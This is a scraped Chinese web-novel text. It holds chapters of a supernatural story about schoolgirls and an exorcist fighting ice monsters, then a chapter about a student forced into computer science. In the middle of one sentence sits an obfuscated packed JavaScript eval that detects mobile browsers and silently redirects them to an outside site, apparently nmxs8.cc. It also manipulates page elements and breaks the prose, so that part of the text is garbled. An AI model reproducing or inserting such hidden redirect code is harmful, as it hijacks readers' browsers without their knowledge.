她缓缓伸出手,“别担心,我们不是你的敌人,好好地看看我,别害怕,我们不会伤害你的。” 风夏的手慢慢地靠近英梨的手,虽然脸上一直全力以赴地保持温柔的微笑,但是心跳已经异常地快了。汗珠悄悄从脸颊划过,指尖就快要触碰到英梨的手。英梨的胳膊整个一哆嗦,把她吓了一跳,但最终,她的手还是轻轻扶住了英梨的手。 冰冷的触感,发抖的身体,风夏突然感觉很是心疼,“好了,你看,没事吧。” 发抖慢慢地停止下来,之后是失去力量,再之后是痛哭。不知道有多久没有释放过自己的情绪,至于责任,不过是忍着恐惧硬撑罢了。如果不强势一些,如果不显得自己很厉害,那么就连自己都不会相信自己。 晴子看向窗外,心情很是糟糕。如此轻易地就从愤恨到同情,虽然她并不觉得有什么不好,可是随之而来的,是对怪人极其强烈的憎恶。“杀光它们”是此时在晴子脑海里存在的唯一的念头。 然而随后,她就又感到无力,那些怪人本就是因人而生,自己确实杀得了怪人,可是如果泯灭不了人们心中的绝望与难过,自己杀再多的怪人又有什么用呢? 她的脑海中突然浮现出江藤望的身影,那个男人在医院里,是否也是以这样的心情和病魔战斗到了现在的呢? “一起战斗吧!”晴子看向英梨坚定地说,“一起战斗,一起战胜那些怪人,保护人类,只要我们一起努力,胜利的就会是我们。” 英梨的哭声渐渐小了,头也抬起了一点点,就像是躲在风夏怀里的小猫一样。 晴子的声音柔和了一些:“你应该也受了不少苦吧,没事的,之后你就不再是一个人了,我们都会成为你的同伴。” 这么久的时间,英梨也累了,一直都是一个人战斗,一个人拼了命地追查,她又何曾不想拥有一个同伴呢。她没有回应晴子,只是把头重新靠在了风夏的肩上。多久了,多久没有一个依靠了,泪水又一次流了下来,不过这一次并不是恐惧和悲伤的泪水了。 感受到英梨的手已经不再抖了,自己的体温也渐渐温暖了过去,风夏松了口气,冲晴子点了点头。 晴子走了过来,伸出自己的手摸了摸英梨的脑袋。后者还是没忍住发抖了一下,把风夏抱得更紧了,但还是渐渐地又放松下来。 风夏轻声道:“可不可以告诉我们到底发生了什么事呢?” 英梨的情绪渐渐缓和后才缓缓开口,“我出生在封魔师一族,其实我们也是人类,但是我们的体质特殊,也懂得一些秘法。原本我们的职责是和阴魔战斗,在一般人看不到的地方维持这个世界的平稳,但是族里出了一些邪道,他们希望利用阴魔的力量来达到自己的目的。” “什么目的?” “嗯……这个讲起来也很难说清楚,但是有一个例子。在四个月之前,有一个名为加藤隼士的富豪死去了,你们有听说过这件事吗?” 晴子完全不清楚,但是风夏立即说:“是那个很有名的珠宝公司的老板吧?” “嗯,邪道为了取的那个人的财产,操控阴魔杀了那个富豪。” “竟然是这样吗?听说当时判定是自杀的,而且那些财产不是被加藤的好友继承了吗?听说是已经立下遗嘱的。” “好友?”英梨冷笑了一下,“那是一个极其特殊的阴魔,可以占据一个人的□□并完全模仿对方,缺点是被占据□□的人五天内就会死亡。他先操控阴魔写好了遗嘱并录下了视频,将遗嘱交给法务局保管后,将存有视频的U盘放在了秘书能够马上发现的位置,最后上吊自杀,利用□□还没有死去的间隙让阴魔脱身。” “可是,你又是怎么样知道加藤是这样死去的而不是真的自杀呢?” “很简单,因为我可以感觉到阴魔的能量,前提是必须离得足够近。说来也是巧合,我很庆幸当时我正路过附近,只是没能救下那个人。” 这时晴子突然说:“我有一个不太理解的地方。东京已经在很长一段时间内被怪人的问题困扰,新闻或者视频大多报道过,既然你一直在追杀邪道,为什么没想过来这里看看呢?” “我当然想过,可是我判断这边反而不太紧急,因为在那些新闻之中,都说警察消灭了什么样的怪人,救了多少人,完全没有提及一点关于你的事情。可以说我对东京警察的实力甚至到了叹服的境地,心想那个邪道恐怕诱爆出一个阴魔就被警察消灭一个。况且这里的阴魔已经具象化,平常人看到了的话可以跑掉,所以我才没有先管这边。” 风夏与晴子面面相觑,她们终于明白了这一系列的事件背后所存在着的是一个不得了的误会。 晴子扶额道:“恐怕你也应该看出来了,警察们的战斗力比想象中的要弱一点呢。” “是呢。”提到这个,英梨有点脸红,“我总是那么自以为是,甚至把你救人的姿态都理解为了捕食同类,不过确实也有过这样捕食同类的现象就是了。” “捕食同类啊……”晴子想起了自己一次次地吸收怪人们的力量,一时间有些难以言说的感觉涌上心头,“你刚才还说诱爆,那是怎么回事?” “所谓诱爆,就是那些邪道加速了或者加剧了阴魔的产生。举个例子来说,虽然一个人的情感还没有爆发到那个地步,但是邪道使用法术,将那个人可能形成的阴魔提前形成,这就是加速,或者使用法术,使一个其实并不足以形成阴魔的人形成了阴魔,这就是加剧。” 晴子眉头一皱,“真是恶劣。” “是啊,我一直想要避免的就是这类情况的发生,这也是一直追杀邪道的原因之一。” 天色渐暗,风夏看着已经快要消失的霞光道:“不早了,要不我们扶你出去,到时候在路上说吧。” 英梨点点头,忍着疼痛慢慢挪下床,两人搀扶着她缓缓走出了教学楼。 “还没问你住在哪里呢,我们陪你回去吧。” “公园。” “嗯?”风夏一时间没有反应过来,“公园是……” “公园的椅子上。” “哈?你开玩笑的吧!” 英梨不敢看风夏的脸,“每天在便利店打工获取食物,还有捡一捡有些卖不完甜品的甜品店做多的东西,衣服脏了就去洗衣店,每次转学的时候新的制服不知道要花多少钱。” 她仿佛向空气中呼出了什么不可名状的东西,那可能是一个无家可归的穷苦女学生对自己生活的悲叹。 风夏一把抓住她的下巴,强行把她的脑袋转到了自己的方向,然后凑近了她的脸,“跟,我,来,我,家!” “啊,疼疼疼!” 风夏有些拽着她,直接打着车就回到了家中。 一开门,母亲过来迎接,发现又多了一个女孩,笑盈盈地捂脸道:“呀——风夏又带新的女孩回来了,真是罪孽深重呐。” “别说这么令人误会的话!” 搀扶着英梨进屋之后,风夏去给她倒水,母亲则是走了过来,“是新的同伴吗?” “嗯,是很厉害的同伴。” “那真是太好了。” 风夏有些好奇,“妈妈难道不担心我们吗?看你和爸爸一直都是不怎么担心的样子。” 母亲将刚烤出来的鸡腿放进盘子里,“做父母的当然会担心了,但是相比于担心,我们选择了信任。” “信任吗……” “是啊,我们对你如此了解,一直都认为你是一个值得我们骄傲的孩子,你果断、有担当、聪明、性格开朗,况且你可是我们家的孩子,将来迟早要继承我们的公司,我们现在就已经将你视为了足以继承产业的人,我们永远都相信着你的能力。” “妈妈……”这些话,风夏是第一次听到,心里泛起了阵阵温暖的涟漪。 两人将水和鸡腿都端了过去,母亲亲切地说:“别客气,风夏提前告诉我你恐怕没有吃饭,所以你先吃点这些,我再去做些别的。” “太客气了!这我怎么好意思!”英梨嘴上这么说着,口水几乎要滴下来,手也有些想往那边抓。 风夏贴心地将一个鸡腿递在她的手里,“给,吃饱了才能好得快。” 英梨也不再墨迹,小心地接过来,然后咬了一大口。真不知道自己已经多久没有吃过刚做出来的食物了,这一口下去的幸福感真的是无与伦比的。她突然笑了起来,然后越笑声音越大,但是风夏却看见了她眼角有泪光闪动。 “两年了,终于吃到这样的食物了!” 风夏整个人犹如被雷击,“这么久!你住了两年的公园?” “这倒没有,如果我在三天内解决不了问题,我就会选择找一个最便宜的住处。毕竟如果一直住在外面,自己的身体会先垮掉的。” “那就好。” 今天母亲做了丰盛的料理,大家好好饱餐一顿之后,也考虑起了英梨的住处。刚好晴子家还空了个房子,反正那里要拿的东西也拿完了,目前也没有人在用,所以刚好就可以把她安排过去。不过考虑到她现在伤势比较重,所以还是现在风夏的家里暂住。 躺在被窝里,英梨十分感慨,“简直就像是做梦一样,竟然还可以和朋友睡在一起。” 晴子低声道:“原来的朋友们果然……” “嗯,全都死了。” “唉,能早日解决阴魔的问题就好了。” “不,虽然这么说也没错啦,但是要优先解决邪道的问题。” “不过说真的,真亏你那么快就能从刀剑相向变成和解状态,我本来都为风夏捏了一把汗呢。” 英梨叹了口气,“我早就已经累了,我是真的坚持不下去了,可是不坚持又不行。说实话,我也是做好了如果真的赌错了,死了就死了的打算,这么久一个人战斗,真的让我感觉有些无所谓了。” 然年后她话锋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266092|166574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一转转,“倒是你们,明明我伤了你,倒是这么快就来找我停战了,你们是怎么想的?” “这倒是很简单吧,不管怎么样,看你的状态应该是站在怪人的对立面,但凡是站在怪人的对立面的,至少在我们的战斗里都应该成为朋友不是吗?” “原来如此。不过……”她用被子捂住下半边脸,就露出了俩眼睛,“战斗外还是朋友吗?” “你说什么呢,房子都打算给你用了,现在来说这些吗?” “嘿嘿,我就问问。你们是我现在除了乐队的成员以外唯一的朋友了,如果有什么想了解的千万不要客气。” 这时,风夏道:“还真有,我这个问题憋了好久了,你当时为什么没能伤得了我?” 听到这个问题,英梨也正色道:“我发现你很不寻常。” “很不寻常?” “嗯,你身上正面的能量简直像是大海一样,我很少见过能有如此乐观的人,不,这已经不是乐观的程度了,这些能量强大到法术的攻击对你完全无效。” 风夏沉思了一下,“那怪人……阴魔的攻击对我而言呢?” “如果是灵体状态下的阴魔应该是伤不了你的,反而是谁伤你谁就得死,但是实体化的阴魔还是无法抗衡的。能干涉到物理层面的阴魔,其性质就已经发生了变化。” “看来我还是没有办法帮你们一起战斗啊。” “倒不必这么想,如果未来碰上了邪道,他的法术要伤你是完全不可能的,那时候说不定会帮上大忙呢。” “嗯!那我就时刻准备着!” 大家都笑了,卧室里充满了快活的空气。 警视厅中,即便已经下班了,但是仍然亮着灯。枪声回荡在空旷的靶场,两个男人无言地一发又一发地扣动着扳机。两人的准头都相当好,但是不论怎样精准的射击都平复不了两个人的心情。 八塚玄放下手,仅仅是看着远处的靶子。黑木又换了一个弹夹,摆好射击姿势,但是也缓缓放下,“终究是没什么意义啊。” 八塚玄将枪轻轻放下,“就没有我们可以做的努力了吗?” “是啊,真不想看见我们这个一直充满骄傲的警视厅,在怪人的事件中帮不上忙。” “连反器材步枪都打不穿,更别提这样的小型武器了,估计连擦伤都造成不了。” 黑木看向天花板,“真的就没有我们可以做到的事了吗?” “我真的有点想不到了。”八塚玄转了个身,靠在了立柱上,“随着一次又一次的战斗,晴子越发变得成熟和坚韧,但是我们呢?我们只是一次次地用‘拖住’这样的举动来战斗,本质上都是只有晴子来了之后才能解决问题,没有她我们就仿佛是个笑话。” “这一点,我倒和你有不同的感觉。说真的,我觉得你已经够优秀了,在和怪人的战斗中已经很久没有听到警察牺牲的消息了。一般的人类在面对这样的生物的时候,能够保持不死就已经足够伟大了不是吗?” 然而八塚玄却变了脸色,缓缓地摇了好几下头,“真的很惊险,每一次在她没来之前我们都快完蛋了,只是最后结果都是好的罢了,只能说我们都要感谢晴子每次支援的速度。” 正说着,两人的电话几乎同时响起。两人对视一眼,都各自接起电话,而其中只说了同一件事,那就是怪人又出现了。 “好快啊。”八塚玄一边跑着深深地皱起了眉头,“距离上次怪人出现如此接近,这到底是怎么回事?” 黑木也是提着一口气,脸色十分难看,“总之先联络吧,小队就交给你了,我直接开车去接晴子。” “好,路上小心。” “你也是。” 黑木顺手带了一把枪,然后直奔停车场,八塚玄则是立刻连着给队员们打电话。那些警察有些睡了,有些没睡,但是都尽可能快地从家里出来,直奔警局。 明明已经是春日,可是却分外阴森。黑木坐进车里,立即拨打了晴子的电话,但是并没有人接。他焦急万分,又拨打了风夏的电话,可是同样如此。 被窝里,两人都已经睡着,为了避免晚上有莫名的骚扰,所以她们的习惯一直都是睡觉后就静音。英梨为了能够随时应对情况,所以手机并没有静音,说实话除了乐队的成员,其实根本没有人给她打电话。可是黑木今天并不知道两人找英梨是什么目的,于是并没有留下她的电话。 飞速开车到风夏家,黑木赶紧跑上去敲门。敲了半天,才有人姗姗来迟地打开了门。 “这不是黑木先生吗?”母亲的眼睛虽然有些朦胧,但还是认出了黑木的脸,“难道说怪人出现了吗?” 黑木一怔,随后点了点头,“非常紧急,请尽快叫醒她。” 母亲小跑着进去喊晴子和风夏,英梨其实并没有睡,一听说怪人出现,马上就要穿衣服。 晴子关切地问道:“你的身体真的没问题吗?要不然你在家休息吧。” “不,我要战斗。即便不是为了与阴魔和邪道抗争,我也必须要感谢容身之所的恩情。” 晴子和风夏并没有阻止她,两人都觉得这件事必须要尊重她的意志才行,不过都说了一句“千万不要勉强”,这让英梨感觉内心暖暖的。实际上她想要去战斗还有一个原因,那就是这是第一次有人能够和自己并肩作战,她真的感到有些兴奋,这是一种终于找到了依靠的感觉。 等三人一同出来的时候,黑木看到了英梨的第一眼就明白了。虽然之前就猜到是不是和怪人有关系,但是看到了才彻底确定下来。风夏坐在副驾,晴子和英梨则是坐在后排,两个人都调整着自己的状态。晴子尽可能地让自己的大脑清醒过来,英梨则是尝试着让自己有些沉重的身体精神一些。 风夏看着车一直高速行驶便问道:“黑木先生,这次的事发地点是在哪呢?” “机场。” “机场?” 不仅仅是风夏,剩下两人也几乎同时重复了一下这个地方。英梨的心一下子就悬了起来,这个地方要是出现了阴魔,天知道要死多少人。晴子的脑子一下还没反应过来,但是过了几秒之后也是突然明白了事情的严重性。 风夏奇怪道:“都这个时间了还有航班啊……” 黑木叹了口气,“原本是十点半到的,只听说是延误了一段时间,所以十一点半才到。可恶,这个时间赶得,等咱们到那估计都快十二点半了。” “一个小时……”风夏感到脊背发凉,如果是从一到站就开始了杀戮,那么一个小时的时间会死多少人呢? 车不断向那边开过去,时间一分一秒地过去,就在四人感觉接近了机场的时候,突然发现天上在下雪。 “雪?”晴子感到非常奇怪,“现在早就过了下雪的时间了吧?” 英梨紧张地攥紧了手,“当然,现在怎么可能下雪,除了阴魔之外根本不会有别的解释。” 听到“阴魔”两个字的黑木从后视镜里看了一眼英梨,心里开始猜测她的身份。 机场,冷清得不像是一个交通枢纽,雪已经在地上积了一层。外面有一些普通车辆和警车,但是没有一个是有人的。四人从车上下来,黑木发现八塚玄还没到,恐怕先到这里的是离得最近的警署派来的警察。之前开了一路,一辆车都没有看到,这本身就让他感觉有些不对劲,现在更是觉得这里莫名地恐怖。 黑木一边拿出枪,一边呼出一口白气,然后率先向里面跑去。剩下三人也立即跟上,不过四人都没有跑几步,就纷纷停了下来。 英梨轻轻眯起眼睛,面色十分凝重,晴子也浑身不自觉地发冷。展示在众人面前的是大片的冰刺,人们的尸体有的像是被丢掉的香蕉皮一样胡乱而狰狞地瘫在地上,有的则是被冰刺穿透至今挂在上面已经僵硬。鲜血洒满机场各处,警察的警棍和配枪四处掉落,记着们的相机支离破碎,那个面向四人的尸体至今都保持着惊恐至极的表情。 在一片沉默之中,风夏打破了宁静,“英梨,这样的东西我能够抵挡吗?” 英梨诧异地看了她一眼,很难想象普通人看见这样的场面能够说出这样的话,而不是感到害怕。“如果是释放中的,你是可以抵挡的。但是像这样已经彻底变为物理层面的影响的东西,你是没有办法的。” 风夏深吸一口气,“真是难以想象,我可以跟这种程度的力量对抗,你真的确定吗?” “当然。不要被外在吓住了,你之所以可以对抗,是因为你的能量击碎了它们出招时的能量,导致它们的招式无法供能并变得紊乱,从而施法失败。” 这时,楼上突然传来玻璃破碎和男人惨叫的声音,四人连忙在这种极难走的状态下尽可能找好走的路过去。就在经过一个转弯的时候,一个男人狰狞的脸就在拐角处很近的地方,距离他们的脑袋不足三十厘米,女生们都是憋着一口气强忍着才走过去。 上了二楼,状况比第一层还要严重,不过有一个“好处”,那就是冰层几乎布满了整一层,导致虽然尸体和冰刺就像是长在地里的野草,但是整体来说意外地让人感到比下层宽敞。 不过冰层整个都很滑,要说在这上面战斗,那简直是太难为人了。正在晴子为此发愁的时候,英梨示意几人停下来。她的手中出现一张符,她用袖剑的利刃刺破指尖,横着在符纸上划出一道血印,随后食指和中指夹住符纸,并用这只手缓缓地向前推出一掌。 之见那些坚冰就像是被风吹开的沙子一样,全都化作极其细密的冰晶直接飞散,最后在空中不见踪影。所有的尸体并没有受到伤害,只是冰层全都消失。三人惊叹地看着眼前的这一幕,直到二层的冰几乎全部被解决,只剩下墙壁上还沾着一些。 英梨看起来十分疲惫,脸色苍白异常。晴子赶紧过去询问,“你还好吗?” 英梨点点头,“就是好累,剩下的还好。” 13. 好意 春日,飞鸟降于枝头,嫩叶重拾翠色,土地里冒出的新芽令人心情振奋,最重要的是靠在树边的女孩令人着迷。 “喂,看什么呢?”三岛重道一边说着一边看向窗外,“哇,这个妹子很不错啊,是你喜欢的类型啊?” 星川贤人轻轻笑了笑,“确实是呢。” 三岛重道的脸色一下就从不正经变为了震惊,“你认真的?那可是高岭之花,咱们这种人是无缘的。” “那又怎么样?总不能连憧憬都没有吧。” “可以是可以啊,可是那又有什么用呢?” “什么用……”星川贤人一时间有些迷茫,“你怎么要用‘有什么用’这样的角度来看待这件事呢?我看着她感觉内心安宁,这样不行吗?” “但是就是说不可能在一起嘛。”三岛重道又何曾不对这个女孩感兴趣,但是自己的条件不怎么样他也是知道的。突然,他想到了什么,“你的那个进路调查表交了吗?之前班长没找到你所以问我来着。” “交过了。” “这样啊,果然还是升学吗?” “嗯,我希望考大学。”一提到这个,星川的表情变得有些向往,“我希望能够学习外语,将来去上海看看。” “上海?” “嗯,主要是想看看那边的漫展是什么样的,还有感受一下那里独有的文化。” “好吧,就祝你成功吧,我好像记得你原来也提起过这事,似乎是开学自我介绍的时候,一转眼也过去很久了啊。” “你呢?你也没变吗?” 三岛点了点头,“我没有你那么高的志向,也没那么多想法。高中毕业就找个工作,姑且干些什么,然后早些结婚生子。” 星川看向干刚飞起的小鸟,“倒也不是多高的志向,只是觉得这个世界很辽阔,人生也还很长,总要尝试一下自己想要尝试的事情。” 三岛笑道:“真是了不得的家伙,一出口就是这样的话呢,说不定你以后会成为了不得的人呢。那等你有一天到了上海,记得发照片给我。” “当然。” 两人碰了一下拳,本想再聊两句,然而上课铃不解风情地响了起来。 一天的学习结束回到家,一进门,就看到饭菜刚好端上了桌。星川狠狠地吸了一口气,“汉堡肉还是一如既往地棒啊。” 母亲笑道:“不是昨天就说想吃吗?快洗洗手来吃吧。今天你爸下班晚,还要有一个应酬,就咱们两个吃吧。” “好。” 星川把书包丢在床上,快速换好了在家的衣服,然后走进厕所把手和脸都洗了洗,顺便看了一眼自己的发型,这才满意地上桌。 虽然是很简单的家常菜,但是一回家就能吃上饭这件事总是令人满足,有一种可以忘记一些东西的魔力。好像很多压力都顺着热热的味增汤缓缓而下,从心里流进了胃里,再到脚底,最后消散。 吃了一会儿,母亲道:“今天你的大伯跟我说了,说现在IT行业可好了。你不是打算考大学吗,大学学计算机应该很有前途。” 星川给嘴里送菜的手一下子停顿了下来,随后眼睛向自己的碗里看去,“我的英语和数学实在是有点差,我在这方面没有天赋。” “嗨。”母亲的脸上满不在乎,“没事的,那么多人都能学会,你怎么就不行呢?” “可是我听说大学的知识要学好也挺难的,万一有个好歹……” 母亲把筷子放在了碗上,“你这孩子,你大伯那都是替你操心,别人要是对你不好哪里还会管你呢?人家那都是懂行的,你报了总没错的。” 星川有些不舒服,“可是那确实不是我想要的,我对计算机确实也没兴趣啊。” “兴趣兴趣,你就想学那些没用的东西,等你出来能干什么?” “我……” “我们这么辛苦,就是希望你将来能有个好工作。你看你那个好兄弟三岛,他出来就直接找工作了,就能自己养活自己了,你既然选择了考大学,为什么不考一个有用的大学呢?” 星川不自觉地攥紧了拳头,他想说些什么,可是却没法说出来。总觉得不管自己说了什么,反驳得终究是那么苍白。 母亲叹了口气,“这事就这么定了,别让我们担心了。” 说完,她就站起来将自己的碗筷收拾走了。这一刻,星川觉得自己是这么弱小,自己什么都做不到。他明白这件事恐怕已经无法阻止,自己在家里一直都是这样,实际上并没有什么决定的权力。但是他也暗暗下定决心,哪怕到了大学里学了计算机,自己也要同时学自己想学的东西。 第二天,三岛看星川有些没精神便问道:“怎么了?怎么看起来不开心啊?” 星川也没有瞒着他,“恐怕我必须得考计算机系了。” “计算机啊,也挺好的其实,不要那么悲观。不过我理解你,毕竟这不是你的追求。但是没关系,毕竟这是你,我相信你不管在哪都可以有属于自己的一片天地。” 星川淡淡地笑了笑,“你对我倒是自信。” 三岛一下搂住他的肩膀,“当然,虽然你这人看起来平平无奇的,但是我觉得你真的挺有想法,也有属于自己的才华。” 星川也重重地拍了拍三岛的肩膀,“你也是,一定要闯出一番事业。” 两个男孩脸上带笑,都对未来有了一丝憧憬。 时间一晃就过去,尤其是高三这样的时期,对于抱有升学意向的学生来说,在高中的日子就像是每天都咬牙坚持着,仿佛度日如年一般,可是在踏出考场的那一刻,又觉得一晃而过,自己突然就成年了。 升学考试发挥的还算不错,虽然与他人相比肯定不算出彩,但是和自己相比,至少是自己并没有感到后悔的成绩,当通知书下来的时候,父母的脸上都带着灿烂的笑容,而星川只是微笑了一下,随后便将此事抛到脑后,至少现在还可以享受一下愉快的假期。 大学的校园是不一样的,当星川踏入其中的时候就明显地感受到了,这确实是一片新的天地。一些不快的事情大概是能抛在脑后的,毕竟看见眼前的种种,大部分的新生应该都是会燃气一份热情的。 “你叫什么?我叫久部原海,请多指教。” 教室里,一个阳光的男生热情地搭话过来,星川赶紧回答道:“我叫星川贤人,请多指教。” “贤人啊……”久部感叹道,“我蛮喜欢的一个演员也叫贤人,而且你还姓星川,说不定你未来也会像星辰一样耀眼。” 星川有些不知所措,他不善于应对这种太过热情的人,不过虽然有些羞耻,听到对方这么说,他还是在心中感到高兴。老实说,他还蛮羡慕这样的人的,怎么说呢,觉得他才是真的耀眼的那个才对。 毫不意外地,久部成为了班长。大学生活就在各项选举都结束之后,正式拉开了序幕。 上课是顺利的吗?不一定。有些确实比较顺利,但是有些就不是那么容易理解。说真的,他一开始写出了一个经典程序的时候还狠狠地激动了很久,不过对于有些科目,他也感觉很难理解。 他的身边还有几个朋友,都是大学新结识的。生活还是过得去的,背书做题,聚餐游戏,几乎是把能做的事都做了,如果不需要考试的话。 假期很快到来,回到家中,他将包缓缓放下。母亲简单地欢迎了他的归来,不过紧接着就补了一句,“记得好好看书,开学要补考的。” 他已经把数学挂科的消息告诉了母亲,母亲总觉得想说些什么,可是却并没有开口。然而他却感觉到自己已经创造了奇迹,毕竟自己基础的编程课程竟然通过了,这不是奇迹是什么呢?那个分数,已经是老师大发慈悲的结果了。 没什么可抱怨的,既然失利了,那就只有靠自己假期补回来了。说起来人也是愚蠢,在有老师教着的时候都学不会,却妄图能够自学。他对数学真的感到无力,当老师讲着什么“dy/dx”的时候,他连dy和dx是什么都理解不了,甚至专门去问了老师,老师解释了之后听起来和没解释一样。 总觉得每次到了下课的时候都惊觉居然讲了这么多页,一晃眼就讲完了一本书。是从什么时候开始这样的呢?是从第一节课开始。那哪里是考前复习,那连预习都算不上。问题是除了还有两个人之外,其他人都已经通过了,自己怎么说也应该通过才是。 当离开家的时候,母亲面带笑容,可是星川怎么都笑不出来,他知道自己这个假期的成果如何,那就是毫无成果可言。唯一能得到安慰的也就是只挂了一科,总觉得这是还有余地的,不过这种心态也在大二的时候结束了。 母亲心急如焚,她不明白为什么会挂这么多科。每次问道其他人的孩子,都说挺顺利的,怎么偏偏自己家的孩子就这么不好好上学。 实在是太可怕了,一想起未来的不确定性母亲就觉得紧张地想吐,但是她偏偏什么也没有说,把这一切都放在了心里。 星川也是沉默的状态,他终究是低估了自己实力的低下程度。他觉得自己是那么格格不入,旁人都可以笑着谈论各种编程问题,仿佛是看见一盘美味的佳肴,要兴致勃勃地品尝其色香味。可是自己呢,只觉得这是一场单纯的折磨。 所以,两人终究都是各怀心事,气氛也有些差。最终,星川还是答应了下来,也必须答应下来,关于自己一定会努力这件事。可是…… 星川是没有见过大三的光景的,成绩爆炸般的崩塌令他不具备升到大三的资格。母亲终于忍不住了,她终于开始尝试和儿子沟通,为什么会这样,为什么就是做不到,然而现在的星川的状态又变化了,会努力吗?或许会吧,可是努力真的有用吗?他不知道。 父亲也开始找他谈话,他只是机械地回应,回应着自己不存在的感受,诉说着自己已经麻木的决心。要说是什么让他还坚持着,或许只是那一份不太服气的内心。 然而现实是残酷的,人并不会因为决心就会变得有天赋,不会因为不服输就会走向成功。如果真的那么容易就能有所改变,那么为何第一次没有成功?但是他也太笨了,笨到陷入这样的状态,连最基本的应试的心态都荡然无存,甚至进入了连考试过关的部分人都没有的,希望真的学会这些科目的心理。 当四年后,原本和自己同时入学的人在镜头之下扔帽子的时候,他也收拾好了东西,什么多出的东西也没有。他就这样离开了学校,没有再回头看一眼。心脏还在生理层面地疼,就像有人刺伤自己的心脏,这样的疼痛已经间歇性地持续了三年。 母亲回过神来,“我应该多考虑你的意见。” 星川只是摇了摇头,“没事。” 父亲假装不在意地问道:“那现在怎么办呢?” “重考。” 星川几乎没有思考就做出了这个决定,他仍然没有放弃自己真正想要的东西。母亲收起了属于自己所有的意见,把一切的选择权都给了自己的儿子。 星川仿佛也变了一个人,不再是阴暗的,反而看起来比以前阳光了不知道多少,不论是谁与他交谈,都觉得自己在被很好地重视。这并不是他有意为之,他也不知道自己从什么时候变成了这样。毕竟在大学里的他几乎不多说一句话,朋友也几乎只有一两个。 复读是令人感到疲惫的,他感到自己已经不是个意气风发的人,很容易就困了,精力下滑得异常厉害。 终于,在新年到来,与那些亲戚难得见面的时候,大伯再一次出现在了星川的视野之中。他凑近星川,“你是不是故意的,我觉得你就是故意的。” 星川面无表情,他最后什么都没说,也没有冷笑一下,甚至连反驳都没有,就像自己的身边根本没人在和自己说话。 “你应该好好地考个高分,这样才能对得起你妈妈对你的期待。”这是大伯的最后一句话。 又是校园,微风拂过,热闹的氛围充斥在自己的身边。但是这一次的星川毫不所动,他的脸上笑着,自然而带着大方的态度与新认识的人交谈。但是他感觉累了,总之就是好累,终于,他又变成了那个不多说一句话的星川。唯一的区别就是,当有人主动与之交谈,他还是回应地游刃有余,看起来充满了热情。 这一次无疑是顺利的,与他自认为的一样,这一次的他比之前强了不知道多少。好像那个成绩垫底的人从来都不是他,而是现在这个拿着奖学金的,不知道到底是谁的男人。 他绷紧着神经,早上五点半起床开始学习,晚上十二点睡下来保证一定的睡眠时间。就这样持续了一个学期的时间,才用几乎碾压一般的姿态拿下了年级第一。心脏没有再痛过,人也渐渐胖了一点,并不是能看出来的那种体型,只是从之前有些凹陷的两个脸颊,变成了自然的饱满。 母亲真的太高兴了,她骄傲地给每一个人都说了自己的儿子是多么的优秀。那个从来都替自己的孩子决定道路的女人,第一次开始变得能够对自己的孩子道歉。 星川的内心没有什么感觉,只觉得有些疲惫。这份疲惫甚至盖过了奖学金之类的喜悦。他明白自己的基础已经奠定完成,更上层的建筑并不需要多少努力。他开始渐渐慢下来,渐渐放松下来。老师相当不满,觉得他简直换了一个人,根本一点也没有激情,一点也不够努力。 但是星川并不担心,事实上他也再也没有失败过一次。在第一个学期的时候,他就已经超额办到了后面所需要达到的很多事情,现在的他只想休息,想要无止境地休息。至于那些新的考试,不过都是些临时复习一下就能通过的货色。 大伯没有再发表过任何意见,当星川找到一个工作的时候,也没有再说出任何多余的话,只说这个工作应该蛮适合他的。 夏日,在相机面前,学士服被太阳晒得烫手,依旧热情的班长招呼着大家拍了好几张照片。 “接下来想自己拍照的人就去拍吧!” 听到这句话,星川只是摘下了自己的帽子,然后随意地将学士服从身上脱下后独自离开。 “终于要结束了吗?” 星川一步步地走在烈日之下,顺手在超市买了一根冰棍,眼里只剩下希望早点处理完毕业手续这一个期望。 亲戚们再次相聚,只是出去进行了一次聚餐。顺带地,提到了星川的新工作,似乎是在培训。每个人的脸上都洋溢着笑意,还说到如果到了上海,一定要帮自己代购什么东西。 母亲兴致高昂地与每个人交谈,挺直的腰杆诉说着心中的自豪。大伯与星川碰了个杯,丝毫看不出这是一个在星川退学时,嘲笑着向自己的朋友诉说着星川无能的人。 两个月后,星川顺利地工作了……吗?挂断了人事的电话,他靠在了床头,自己根本通不过公司的标准。直到开始培训半个月后,不信邪的他才发现自己根本就做不了销售,可是这个世界大部分的工作只剩下了销售还在疯狂地招人。 阴暗的房间里,母亲暗自落泪,她不明白为什么会这样。她去找朋友,去找亲戚,去向他人诉说自己心中的苦闷,去向星川声泪俱下地描述自己的期望和愿景。久违地,星川的心脏又疼了起来。 接下来要做的,就是海投简历罢了。可是真的就像是石沉大海一般,一份份简历都得不到任何认可。 大伯又叫吃饭了,他在饭桌上对自己的表妹说:“前几天我们朋友的那个小孩和我见了一面,之前你都不知道她怎么骂我的。” 表妹好奇道:“咋回事?” “原来他要学习什么动漫,那不是被我挡住了,狠狠地骂了一顿。那个孩子之前特别不服气,后来叫我赶去学电气了,你看现在,在一个公司里面当技术人员,挣得也不少。” “那真不错啊,之前那个动漫什么的,那个专业就不好。” “是啊,听我的还是对了吧,那个专业能找到什么工作?”大伯笑道,“你都不知道她之前把我说的,说我说话太难听了。” 全桌都洋溢着愉悦的笑容,表妹也顺势道:“我们家那个孩子,现在呆在名古屋不愿意回来。我想着女孩子就赶紧结个婚呗,她就非得在外面闯。反正我就觉得她能回来歇一歇还挺好的。”她看向星川的母亲,“当然,在家啃老肯定是不行的,但是回来我觉得挺好的。” 母亲连连点头,脸上也挂着笑容,“就是的,但是人家想赚钱就让人家赚呗,都挺好的。” 星川喝了一口饮料,嘴角也同样上扬,“那边也是个好地方,不回来挺好的。年轻人都爱玩,说不定结识了好朋友,在那边过得也很开心呢。” 直到离去的时候,星川都是满脸笑容。等到只剩下自己和母亲的时候才终于开口,“诶呀,这不就是说给我听呢吗?” 至于母亲说了什么,他并没有多么在意。 